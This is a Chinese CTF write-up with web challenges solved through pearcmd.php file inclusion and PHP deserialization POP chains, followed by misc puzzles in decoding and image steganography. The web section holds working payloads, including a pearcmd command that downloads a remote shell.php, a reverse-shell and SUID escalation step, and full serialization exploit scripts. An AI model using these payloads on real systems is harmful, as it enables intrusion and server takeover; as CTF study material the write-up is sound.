WEB
rce_me
题目给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <?php
(empty($_GET[ "file" ])) ?highlight_file(__FILE__) : $ file = $_GET[ "file" ];
functionfliter($var): bool {
$blacklist = [ "<" , "?" , "$" , "[" , "]" , ";" , "eval" , ">" , "@" , "_" , "create" , "install" , "pear" ];
foreach($blacklistas$blackword){
if (stristr($var, $blackword)) returnFalse;
}
returnTrue;
}
if (fliter($_SERVER[ "QUERY_STRING" ]))
{
include$ file ;
}
else
{
die( "Noooo0" );
}
|
题目提示要rce,而漏洞的利用点是一个include文件包含,
php环境限制了allow_url_include,所以能getshell的data和php://input都无法使用
直接包含flag回显权限不够,所以考虑rce提权
黑名单其实提供了一点线索,暗示本题通过pearcmd实现RCE
首先需要确认是否存在pearcmd.php文件,尝试包含,发现在当前目录和/usr/local/lib/php/目录下都存在pearcmd.php
pearcmd的常见思路是写文件getshell
1 | ? + config - create + / & file = / usr / local / lib / php / pearcmd.php& / <? = phpinfo()?> + / tmp / hello.php
|
但是本题做了过滤,file由于是get传参,因此可以url编码绕过pe%61rcmd.php
但是在写文件时却不能采用此方法,$_SERVER["QUERY_STRING"]并没有提供url解码的功能,而且将<?编码会导致文件不能将代码识别为php而失败
所以要转变一下思路,pearcmd.php的用法有很多,其中download可以下载文件,而且不经过include意味着不受allow_url_include的影响,因此可以实现远程文件下载
payload:
1 | http: / / 80.endpoint - de4ae4b3e84d47a8b1eea291004b34a0.dasc.buuoj.cn: 81 && + download + http: / / ip:port / shell.php
|
利用一句话木马反弹shell,再进行一个suid的提权
payload:
1 | find / - perm - u = s - type f 2 > / dev / null
|
final payload:
step_by_step-v3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | <?php
error_reporting( 0 );
classyang
{
public$y1; / / $y1 = new bei() $y1 = new cheng()
publicfunction__construct()
{
$this - >y1 - >magic(); / / 访问 __call()
}
publicfunction__tostring()
{
($this - >y1)(); / / phpinfo()
}
publicfunctionhint()
{
include_once( 'hint.php' );
if (isset($_GET[ 'file' ]))
{
$ file = $_GET[ 'file' ];
if (preg_match( "/$hey_mean_then/is" , $ file ))
{
die( "nonono" );
}
include_once($ file );
}
}
}
classcheng
{
public$c1; / / $c1 = new yang()
publicfunction__wakeup()
{
$this - >c1 - >flag = 'flag' ;
}
publicfunction__invoke()
{
$this - >c1 - >hint(); / / hint
}
}
classbei
{
public$b1; / / $b1 = new yang()
public$b2;
publicfunction__set($k1,$k2) / / 不可访问的变量赋值
{
print $this - >b1;
}
publicfunction__call($n1,$n2)
{
echo$this - >b1;
}
}
if (isset($_POST[ 'ans' ])) {
unserialize($_POST[ 'ans' ]);
} else {
highlight_file(__FILE__);
}
?>
|
利用点在
1 2 3 4 | publicfunction__tostring()
{
($this - >y1)(); / / phpinfo()
}
|
可以读取到phpinfo
起始点在cheng::__wakeup
pop:
1 | cheng::__wakeup - >bei::__set - > yang::__tostring
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | <?php
/ / cheng::__wakeup - >bei::__set - > yang::__tostring
classyang{
public$y1;
publicfunction__construct($y1){
$this - >y1 = $y1;
}
}
classcheng{
public$c1;
publicfunction__construct($c1)
{
$this - >c1 = $c1;
}
}
classbei{
public$b1;
publicfunction__construct($b1){
$this - >b1 = $b1;
}
}
$ya = newcheng(newbei(newyang( 'phpinfo' )));
$ser = serialize($ya);
echo$ser;
echourlencode($ser);
?>
|
Safe pop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | <?php
error_reporting(E_ALL);
ini_set( 'display_errors' , true);
highlight_file(__FILE__);
classFun{
private$func = 'call_user_func_array' ;
publicfunction__call($f,$p){
call_user_func($this - >func,$f,$p);
}
publicfunction__wakeup(){
$this - >func = '';
die( "Don't serialize me" );
}
}
classTest{
publicfunctiongetFlag(){
system( "cat /flag?" );
}
publicfunction__call($f,$p){
phpinfo();
}
publicfunction__wakeup(){
echo "serialize me?" ;
classA{
private$a;
publicfunction__get($p){
if (preg_match( "/Test/" ,get_class($this - >a))){
return "No test in Prod\n" ;
}
return $this - >a - >$p();
}
}
classB{
public$p;
publicfunction__destruct(){
$p = $this - >p;
echo$this - >a - >$p;
}
}
if (isset($_GET[ 'pop' ])){
$pop = $_GET[ 'pop' ];
$o = unserialize($pop);
thrownewException( "no pop" );
}
|
题目给了源码,要构造pop链,最终的目的应该是要调用Test类下的getFlag函数,在反序列化时,会销毁对象,从而会触发__destruct(),而__wakeup() :会在unserialize()时,自动调用,优先级高于destruct
为了调用Test下的getFlag函数,我们需要用到call_user_func()函数进行构造,而call_user_func()函数由call触发,
1 | __call() / / 在对象中调用一个不可访问方法时调用
|
注意到class A有一个
p可控,只要让他成为一个不可访问的方法即可触发call
1 | __get() :当从不可访问的属性读取数据。例如从对象外部访问由private和protect修饰的属性,就会调用该方法,其中传递的形参为访问属性的属性名
|
class B有一个调用类的功能,由此来触发class A,class中的destruct又可以由反序列化直接触发,于是就形成了一条完整的链子
pop:
1 | b::__destruct() - > a::__get() - > Fun::__call() - > Test::getFlag
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | <?php
class Fun{
}
class A{
public $a;
public function __construct($a){
$this - > a = $a;
}
}
class B{
public $p;
public $a;
public function __construct($p,$a){
$this - > p = $p;
$this - > a = $a;
}
}
$b = new B(new A(new Fun()), "Test::getFlag" );
echo serialize($b);
$arr = array($b,null);
$serstr = serialize($arr);
$serstr = str_replace( ":0:{}" , ":1:{}" , $serstr);
$serstr = str_replace( ":1;N" , ":0;N" , $serstr);
echo $serstr;
echo '<br/>' ;
echo urlencode($serstr);
?>
|
这道题目的难点在于他还抛出了一个exception异常,导致程序无法正常结束,从而无法触发CG回收机制,也就无法触发destruct方法
1 | throw new Exception( "no pop" );
|
这里可以用array数组手动释放对象,从而触发CG回收,只需要把array1的下标更改为0,就会覆盖array0的实例对象
关于php的CG回收机制,这篇文章做了很详细的描述https://pankas.top/2022/08/04/php(phar)%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%90%84%E7%A7%8D%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/)
misc
签到
给了一段编码
值得注意的是文件名33.txt
1 | ZMJTPM33TMFGPA3STZ2JVBYSZRMGBZELT44QDLEET5GQTMEITIFJZZOMTH4K2 = = =
|
这段编码就是base32没有问题,但是解出来却是乱码,于是考虑第二3指代什么
尝试rot13先解一次码,再base32成功得到flag
where_is_secret
给了一张图片,并在hint中给了encode脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | fromPILimportImage
importmath
defencode(text):
str_len = len (text)
width = math.ceil(str_len * * 0.5 )
im = Image.new( "RGB" , (width, width), 0x0 )
x, y = 0 , 0
foriintext:
index = ord (i)
rgb = ( 0 , (index& 0xFF00 ) >> 8 , index& 0xFF )
im.putpixel((x, y), rgb)
ifx = = width - 1 :
x = 0
y + = 1
else :
x + = 1
returnim
if__name__ = = '__main__' :
withopen( "829962.txt" , encoding = "gbk" ) asf:
all_text = f.read()
im = encode(all_text)
im.save( "out.bmp" )
|
分析来看就是把文件内容gbk编码,把大于0xff的部分缩小8倍放到图片的g里,小于0xff的部分放到图片的b里
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | fromPILimportImage
img = Image. open ( 'out.bmp' )
x, y = img.size
flag = ""
flag1 = ""
withopen( 'ans.txt' ) asf:
foriinrange(x):
forjinrange(y):
pix = img.getpixel((j, i))
index = (pix[ 1 ] << 8 ) + pix[ 2 ]
flag = flag + chr (index)
foriinrange( 1 , len (flag) - 1 ):
print (flag[i])
if ((( ord (flag[i])< = 125andord (flag[i])> = 97 ) or ( ord (flag[i])< = 57andord (flag[i])> = 48 ) or ( ord (flag[i])< = 95andord (flag[i])> = 65 )) and ( ord (flag[i + 1 ])> 125orord (flag[i + 1 ])< 48 ) and ( ord (flag[i - 1 ])> 125orord (flag[i - 1 ])< 48 ) orord(flag[i]) = = 95 ):
flag1 = flag1 + "@" + flag[i - 1 ] + flag[i] + flag[i + 1 ]
print (flag1)
|
得到的是一段中文,在里面穿插了flag
由于有原来文本中的数字和字母,这里考虑把有可能的字母数字提取出来,以@为分隔符,根据前后判断人为筛选一遍
完结(关于pop的部分,之后会再做一个比较详细的整理,敬请期待)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2022-9-6 18:21
被ArT1_编辑
,原因: